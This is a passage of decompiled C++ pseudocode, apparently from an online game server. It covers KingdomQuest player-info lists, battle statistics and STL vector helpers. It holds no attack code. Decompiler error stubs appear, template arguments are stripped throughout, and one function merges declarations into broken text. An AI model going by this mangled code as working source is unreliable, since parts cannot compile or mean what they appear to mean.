(ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0046F6B0) -------------------------------------------------------- #error "46F6B0: undefined or illegal type '#585' (funcsize=66)" //----- (0046F7B0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0046F800) -------------------------------------------------------- KingdomQuest::KQPlayerInform *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(KingdomQuest::KQPlayerInform *, List *, unsigned __int16, KingdomQuest::KQPlayerInform *), unsigned __int16 *hnd, KingdomQuest::KQPlayerInform *key) { KingdomQuest::KQPlayerInform *result; // eax@1 ListSearchSame searcher; // [sp+0h] [bp-24h]@1 int v6; // [sp+20h] [bp-4h]@1 searcher.lss_compfunc = compfunc; searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; searcher.lss_lst = this; searcher.lss_key = key; searcher.lss_found.element = 0; searcher.lss_found.hnd = -1; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lss_found.element; *hnd = searcher.lss_found.hnd; return result; } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); //----- (0046F870) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0046F990) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0046FAB0) -------------------------------------------------------- void __thiscall KingdomQuest::KingdomQuestContainer::_KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this) { KingdomQuest::KingdomQuestContainer *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; _eh_vector_destructor_iterator_( this->kqc_array, 0x3ACu, 100, (void (__thiscall *)(void *))KingdomQuest::KQElement::_KQElement); v1->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5B5D68: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (0046FB20) -------------------------------------------------------- #error "46FB20: undefined or illegal type '#585' (funcsize=753)" //----- (00470680) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(KingdomQuest::KQPlayerInfoList *this, unsigned int plyregnum) { unsigned int v2; // ebx@1 KingdomQuest::KQPlayerInfoList *v3; // esi@1 KingdomQuest::KQPlayerInform *v4; // eax@1 int v5; // eax@2 KingdomQuest::KQPlayerInform key; // [sp+Ch] [bp-34h]@1 v2 = plyregnum; v3 = this; key.kqpi_PlyRegnum = plyregnum; v4 = List::l_Search( &this->baseclass_0.baseclass_0, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&plyregnum, &key); if ( !v4 ) { v5 = v3->baseclass_0.baseclass_0.l_Finger.empty; if ( (_WORD)v5 == -1 || (v4 = v3->baseclass_0.baseclass_0.vfptr->l_AllocZ((List *)v3, v5)) == 0 ) return 0; v4->kqpi_PlyRegnum = v2; v4->kqpi_KnockDown = 0; v4->kqpi_BattleStat.bs_KnockDownNum = 0; v4->kqpi_BattleStat.bs_HittedNum = 0; v4->kqpi_BattleStat.bs_CriticalNum = 0; v4->kqpi_BattleStat.bs_SkillBlast = 0; v4->kqpi_BattleStat.bs_HealAmount = 0; v4->kqpi_BattleStat.bs_DamageAmount = 0; v4->kqpi_BattleStat.bs_KillScore = 0; v4->kqpi_BattleStat.bs_Dead = 0; v4->kqpi_BattleStat.bs_Kill = 0; v4->kqpi_BattleStat.bs_Score = 10000; } return v4->kqpi_KnockDown; } //----- (00470710) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(KingdomQuest::KQPlayerInfoList *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int), unsigned int plyregnum) { List *v3; // esi@1 unsigned int v4; // edi@1 KingdomQuest::KQPlayerInform *v5; // eax@1 int result; // eax@2 int v7; // eax@3 int v8; // esi@3 KingdomQuest::KQPlayerInform key; // [sp+4h] [bp-40h]@1 int v10; // [sp+40h] [bp-4h]@1 v3 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = plyregnum; v10 = 0; key.kqpi_PlyRegnum = plyregnum; v5 = List::l_Search( v3, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&plyregnum, &key); if ( v5 ) { v7 = func(v5, v4); --funcallanalizer.fca_stackpoint; v8 = v7; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); result = v8; } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); result = 0; } return result; } //----- (00470810) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetBattleStat(void *this) { void *v1; // esi@1 KingdomQuest::KQElement *v2; // edi@1 FunctionProfiler::PerformanceRecorder *v3; // ecx@2 KingdomQuest::KQPlayerInform *v5; // eax@4 int v6; // esi@5 char *v7; // [sp-10h] [bp-58h]@2 __int16 hnd; // [sp+0h] [bp-48h]@4 FunctionEntarance _; // [sp+4h] [bp-44h]@1 KingdomQuest::KQPlayerInform key; // [sp+8h] [bp-40h]@4 int v11; // [sp+44h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetBattleStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v2 = ShineObjectClass::ShinePlayer::sp_MyKQElement(v1); if ( !v2 ) { --funcallanalizer.fca_stackpoint; v11 = -1; v7 = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; v3 = &_PerformanceRecorder; LABEL_3: FunctionProfiler::PerformanceRecorder::pr_Exit(v3, v7); return (int)&ShineObjectClass::ShineObject::so_DefBattleStat; } key.kqpi_PlyRegnum = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v5 = List::l_Search( &v2->kqe_PlayerList.baseclass_0.baseclass_0, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&hnd, &key); --funcallanalizer.fca_stackpoint; v7 = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; v11 = -1; v3 = &_PerformanceRecorder; if ( !v5 ) goto LABEL_3; v6 = (int)&v5->kqpi_BattleStat; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetBattleStat"); return v6; } //----- (00470920) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_KQElementFunction(void *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int)) { void *v2; // esi@1 KingdomQuest::KQElement *v3; // edi@1 int result; // eax@2 unsigned int v5; // eax@3 int v6; // eax@3 int v7; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQElementFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShinePlayer::sp_MyKQElement(v2); if ( v3 ) { v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v6 = KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(&v3->kqe_PlayerList, func, v5); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); result = v7; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); result = 0; } return result; } //----- (00470A10) -------------------------------------------------------- void __thiscall CommonList::CommonList(CommonList *this, int size) { CommonList *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 int v5; // edx@2 ListStruct *v6; // ecx@4 KingdomQuest::KQPlayerInform *v7; // ebp@4 int v8; // ecx@4 v2 = this; v3 = 0; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, size); v2->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2->cl_Array = (KingdomQuest::KQPlayerInform *)operator new__(52 * size); v4 = 0; if ( size > 0 ) { v5 = 0; do { if ( v4 < v2->baseclass_0.l_MaxSize ) { v6 = v2->baseclass_0.l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &v2->cl_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < size ); } } // 5B54E4: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (00470AB0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, KingdomQuest::KQElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { KingdomQuest::KQElement::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00470AE0) -------------------------------------------------------- int __thiscall KingdomQuest::KQElement::operator_(int this, int a2) { int v2; // ebp@1 int v3; // ebx@1 int v4; // edi@1 int v5; // esi@1 int v7; // [sp+10h] [bp-4h]@1 signed int v8; // [sp+18h] [bp+4h]@1 v2 = a2; v3 = this; *(_DWORD *)this = *(_DWORD *)a2; PROTO_KQ_INFO::operator_((void *)(this + 4), (const void *)(a2 + 4)); v4 = a2 + 256; v5 = v3 + 284; v7 = a2 - v3; v8 = 4; do { PROTO_KQ_MAP_INFO::operator_(v5 - 28, v4); *(_DWORD *)v5 = *(_DWORD *)(v7 + v5); *(_DWORD *)(v5 + 4) = *(_DWORD *)(v4 + 32); v4 += 36; v5 += 36; --v8; } while ( v8 ); memcpy((void *)(v3 + 400), (const void *)(v2 + 400), 0x100u); memcpy((void *)(v3 + 656), (const void *)(v2 + 656), 0x100u); CommonList::operator_(v3 + 912, v2 + 912); return v3; } //----- (00470B90) -------------------------------------------------------- int __thiscall CommonList::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); return result; } //----- (00470BD0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, KingdomQuest::KQElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { KingdomQuest::KQElement::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00470C00) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, KingdomQuest::KQElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; KingdomQuest::KQElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00470C50) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, KingdomQuest::KQElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; KingdomQuest::KQElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00470CA0) -------------------------------------------------------- void __thiscall KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(KingdomQuest::KQPlayerInfoList *this) { KingdomQuest::KQPlayerInfoList *v1; // esi@1 v1 = this; CommonList::CommonList(&this->baseclass_0, 100); v1->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; } // 5B54E4: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (00470CC0) -------------------------------------------------------- void __thiscall KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this) { KingdomQuest::KingdomQuestContainer *v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // ecx@1 int v5; // edi@3 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x64u); v1->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; _eh_vector_constructor_iterator_( v1->kqc_array, 0x3ACu, 100, (void (__thiscall *)(void *))KingdomQuest::KQElement::KQElement, (void (__thiscall *)(void *))KingdomQuest::KQElement::_KQElement); v2 = 0; v3 = 0; v4 = (int)v1->kqc_array; do { *(_DWORD *)(v4 + 4) = -1; if ( v2 < v1->baseclass_0.l_MaxSize ) { v5 = (int)&v1->baseclass_0.l_Array[v3]; if ( !*(_DWORD *)v5 ) *(_DWORD *)v5 = v4; } ++v3; ++v2; v4 += 940; } while ( v3 < 100 ); } // 5B5D68: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (00470D60) -------------------------------------------------------- KQContribute::PlayerContribute *__cdecl std::copy(KQContribute::PlayerContribute *_First, KQContribute::PlayerContribute *_Last, KQContribute::PlayerContribute *_Dest) { KQContribute::PlayerContribute *v3; // ecx@1 KQContribute::PlayerContribute *result; // eax@1 v3 = _First; for ( result = _Dest; v3 != _Last; ++result ) { result->pc_ChrRegNum = v3->pc_ChrRegNum; result->pc_MobKillNumber = v3->pc_MobKillNumber; ++v3; } return result; } //----- (00470D90) -------------------------------------------------------- SHINE_XY_TYPE *__cdecl std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>(std::vector >::iterator _First, std::vector >::iterator _Last, SHINE_XY_TYPE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::iterator v5; // ecx@1 SHINE_XY_TYPE *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { result->x = **(_DWORD **)&v5; result->y = *(_DWORD *)(*(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 8; } return result; } //----- (00470DC0) -------------------------------------------------------- KQContribute::PlayerList *__thiscall KQContribute::KQContributeList::kqcl_FindKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // edi@1 KQContribute::PlayerList *v3; // esi@1 KQContribute::PlayerList *v4; // edi@1 KQContribute::PlayerList *result; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqcl_FindKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqcl_List._Myfirst; v4 = v2->kqcl_List._Mylast; if ( v3 == v4 ) { LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); result = 0; } else { while ( v3->pl_KQHandle != kqhnd ) { ++v3; if ( v3 == v4 ) goto LABEL_4; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); result = v3; } return result; } //----- (00470E90) -------------------------------------------------------- #error "470E90: undefined or illegal type '#325' (funcsize=74)" //----- (00470FA0) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::iterator _First, std::vector >::iterator _Last, SHINE_XY_TYPE *__formal) { return std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (00470FC0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00471030) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x1FFFFFFF ) std::vector>::_Xlen(this); v4 = operator new(8 * _Capacity); v2->_Myend = (KQContribute::PlayerContribute *)((char *)v4 + 8 * _Capacity); v2->_Myfirst = (KQContribute::PlayerContribute *)v4; v2->_Mylast = (KQContribute::PlayerContribute *)v4; result = 1; } else { result = 0; } return result; } //----- (00471080) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerContribute *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 KQContribute::PlayerContribute *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 KQContribute::PlayerContribute *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-10h] [bp-2Ch]@31 int v28; // [sp-Ch] [bp-28h]@1 KQContribute::PlayerContribute _Tmp; // [sp+0h] [bp-1Ch]@1 void *_Newvec; // [sp+8h] [bp-14h]@25 int *v31; // [sp+Ch] [bp-10h]@1 int v32; // [sp+18h] [bp-4h]@25 unsigned int _Wherea; // [sp+24h] [bp+8h]@31 int _Counta; // [sp+28h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+2Ch] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+2Ch] [bp+10h]@31 v4 = _Val->pc_MobKillNumber; v5 = this; _Tmp.pc_ChrRegNum = _Val->pc_ChrRegNum; v6 = this->_Myfirst; v31 = &v28; _Tmp.pc_MobKillNumber = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (KQContribute::PlayerContribute *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (KQContribute::PlayerContribute *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v32 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (KQContribute::PlayerContribute *)((char *)v14 + _Counta); v5->_Mylast = (KQContribute::PlayerContribute *)((char *)v14 + 8 * v18); v5->_Myfirst = (KQContribute::PlayerContribute *)v14; } } } //----- (004712D0) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 KQContribute::PlayerContribute *v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::iterator v7; // ecx@7 std::vector >::iterator v8; // ST00_4@7 int v9; // [sp-Ch] [bp-20h]@1 std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst; v11 = &v9; thisa = (std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x1FFFFFFF ) std::vector>::_Xlen(v2); v5 = 8 * v4; v6 = operator new(8 * v4); v2->_Myfirst = (KQContribute::PlayerContribute *)v6; v2->_Mylast = (KQContribute::PlayerContribute *)v6; v2->_Myend = (KQContribute::PlayerContribute *)((char *)v6 + v5); v7 = (std::vector >::iterator)_Right->_Mylast; v8 = (std::vector >::iterator)_Right->_Myfirst; v12 = 0; v2->_Mylast = (KQContribute::PlayerContribute *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v8, v7, (SHINE_XY_TYPE *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00471390) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *_Al, int __formal) { void *v2; // esi@1 KQContribute::PlayerContribute *v3; // ebx@2 int v4; // edx@2 int v5; // ecx@3 void *result; // eax@6 int v7; // eax@7 int v8; // edx@8 int v9; // eax@11 int v10; // edx@15 int v11; // edx@19 int v12; // ebx@21 int v13; // ecx@24 int v14; // eax@25 v2 = _Al; if ( _Al == (void *)__formal ) return v2; v3 = *(KQContribute::PlayerContribute **)(__formal + 4); v4 = 0; if ( !v3 || (v5 = (*(_DWORD *)(__formal + 8) - (signed int)v3) >> 3) == 0 ) { if ( *((_DWORD *)v2 + 1) ) { operator delete(*((void **)v2 + 1)); v4 = 0; } *((_DWORD *)v2 + 1) = v4; *((_DWORD *)v2 + 2) = v4; *((_DWORD *)v2 + 3) = v4; return v2; } v7 = *((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD 